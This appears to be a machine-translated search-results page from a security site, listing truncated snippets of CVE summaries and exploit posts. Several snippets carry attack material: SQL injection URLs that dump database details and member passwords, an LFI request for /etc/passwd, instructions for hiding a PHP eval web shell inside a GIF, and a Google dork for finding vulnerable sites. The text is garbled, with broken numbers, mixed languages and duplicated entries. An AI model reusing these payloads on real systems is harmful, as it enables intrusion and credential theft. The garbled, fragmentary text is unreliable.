6497 matches found
CVE-2012-1066
Cross-site scripting XSS vulnerability in the template module in SmartyCMS 0.9.4 allows remote attackers to inject arbitrary web script or HTML via the title bar...
Hearing the odd tourist site system injection vulnerability-vulnerability warning-the black bar safety net
The entire system is the injection of! Such as: JingdianShow. asp NewsShow. asp These files contain UU. Lable. All. asp Code: Function UULableJingdianSstrList Set rs = Server. CreateObject"adodb. recordset" sql = "select from UUJingdian where Jingdianid=" Jingdianid&" " rs. Open sql, Conn, 1, 1 I...
PHP local file inclusion(LFI)exploit-vulnerability warning-the black bar safety net
This study main references are: http://downloads.ackack.net/LocalFileInclusion.pdf Experimental code: If you are on linux, be submitted directly to: test. php? for=/etc/passwd%0 0 to display the file. ? php include$GET'for'.‘. php’;//for testing local include vulnerability ?& gt; If it is on win,...
Android webkit XSS cross-domain Auto-Download vulnerability-vulnerability warning-the black bar safety net
Android Multiple Vulnerabilities Author: www.80vul.com Email:5up3rh3igmail.com Release Date: 2012/2/8 References: http://www.80vul.com/android/android-0days.txt Ph4nt0m Webzine 0x06 has been releasedhttp://www.80vul.com/webzine0x06/,there three papers on the android application security about the...
CVE-2011-3964
Google Chrome before 17.0.963.46 does not properly implement the drag-and-drop feature, which makes it easier for remote attackers to spoof the URL bar via unspecified vectors...
CVE-2011-3964
Google Chrome before 17.0.963.46 does not properly implement the drag-and-drop feature, which makes it easier for remote attackers to spoof the URL bar via unspecified vectors...
CVE-2011-3964
Removed by vendor...
CVE-2011-3964
Google Chrome before 17.0.963.46 does not properly implement the drag-and-drop feature, which makes it easier for remote attackers to spoof the URL bar via unspecified vectors...
nginx fastcgi configuration mistakes+parsing vulnerability-induced vulnerability-vulnerability warning-the black bar safety net
Now there are many sites with nginx, since the N months before the nginx parsing vulnerability since now almost all fixed, the General statement is written so if $fastcgiscriptname ../. php return 4 0 3; When matching/. phpwhen it returns 4 0 3 但是 有些 fastcgi 配置 的 却 不只 有 .php and some are even...
Google Chrome < 17.0.963.46 Multiple Vulnerabilities
Binary data 800936.prm...
Google Chrome < 17.0.963.46 Multiple Vulnerabilities
Binary data 6312.pasl...
LASERnet CMS Version 1.5 SQL injection vulnerability and fix-vulnerability warning-the black bar safety net
Use method: http://www.badguest.cn/index.php?id=SQL Demo: http://www.badguest.cn /index. php? id=-1' UNION SELECT 1,2,3,CONCATWSCHAR32,58,32,user,database,version,5,6,7,8,9,1 0,1 1,1 2,1 3--+ Provide solution The filter index. php page id=parameter input...
IIS7. 0 website, the exploit and the Fix-vulnerability warning-the black bar safety net
To the currently popular PHP as an example: To merge a PHP word pictures of horses, the combined method: ① , DOS merge: copy 1.gif /b + 1. txt/a php.gif ② , With edjpgcom, make picture and word Trojan of the merger, remark Code of? php eval$POSTmeckun;?& gt; Pictures just to find one...
Notepad Dog microblogging 3. 0 0day-vulnerability warning-the black bar safety net
You know.... wap/index. php? mod=pm&pmnew=andselect%2 0 1%20fromselect%20count,concatselect%2 0select%2 0select%20concat0x27,0x7e,jishigoumembers. username,0x27,0x7e,jishigoumembers. password,0x27,0x7e%20from%20jishigoumembers%20where%20uid=1%20limit%200,1%20from%20informationschema...
EasyPage SQL Injection Vulnerability-vulnerability warning-the black bar safety net
Title : EasyPage SQL Injection Vulnerability Author : Red Security TEAM Date : 19/01/2012 Risk : High Vendor : http://karait.com/ Tested On : Windows Server 2 0 0 8 Microsoft-IIS/7.5 Dork : inurl:default. aspx? page=Document&app=Documents&docId= Contact : Info 4t RedSecurity d0t COM Home :...
PhpBridges Blog System members.php SQL injection and fix-vulnerability warning-the black bar safety net
Title: PhpBridges Blog System SQL Injection Vulnerability Author: 3spi0n Program website: https://launchpad.net/phpbridges Test platform: BackTrack 5 - Win7 Ultimate Development language: Php $The defect file: members.php $ Test site: www.badguest.cn /members. php? id=2" SQL Injection Dar bi...
Pass to kill IIS7. 0 deformity parsing 0day vulnerabilities-vulnerability warning-the black bar safety net
To merge a PHP word pictures of horses, the combined method: ① , DOS merge: copy 1.gif /b + 1. txt/a asp.gif ② , With edjpgcom, make picture and word Trojan of the merger, Pictures just to find one. 【Incidentally, with the way edjpgcom the use of method: open the edjpgcom. exe the folder, and the...
python hash collision attacks exploit-vulnerability warning-the black bar safety net
/usr/bin/python to attack hash collision in python code by [email protected] 2012-01-05 to save as atk.py python atk.py 4 0 0 0 0 . 42.530313015 0.087562084198 import time, sys MAX = 1 0 0 0 0 0 try: MAX = int sys. argv1 except: pass t0= time. time k= for i in rangeMAX: k i223 1-i = 0 print '.'...
WordPress Plug-In wp-autoyoutube blind defect and repair-vulnerability warning-the black bar safety net
Title: WordPress wp-autoyoutube plugin Blind SQL Injection Vulnerability Author: longrifle0x Software: Wordpress Download address:http://wordpress. org/extend/plugins/wp-autoyoutube/ Test tool: SQLMAP Overview Wordpress Plug-In wp-autoyoutube is found that the presence of blind issues File:...
http TRACE cross-site attacks a vulnerability test with the defense fix-bug warning-the black bar safety net
From the bad wolf's blog Web Presence: http TRACE cross-site attack vulnerabilities. Scan results: http TRACE cross-site attacks His webserver supports the TRACE and/or TRACK methods. TRACE and TRACK is used to debugweb serverthe connection to the HTTP way. Support the way of a presence Server...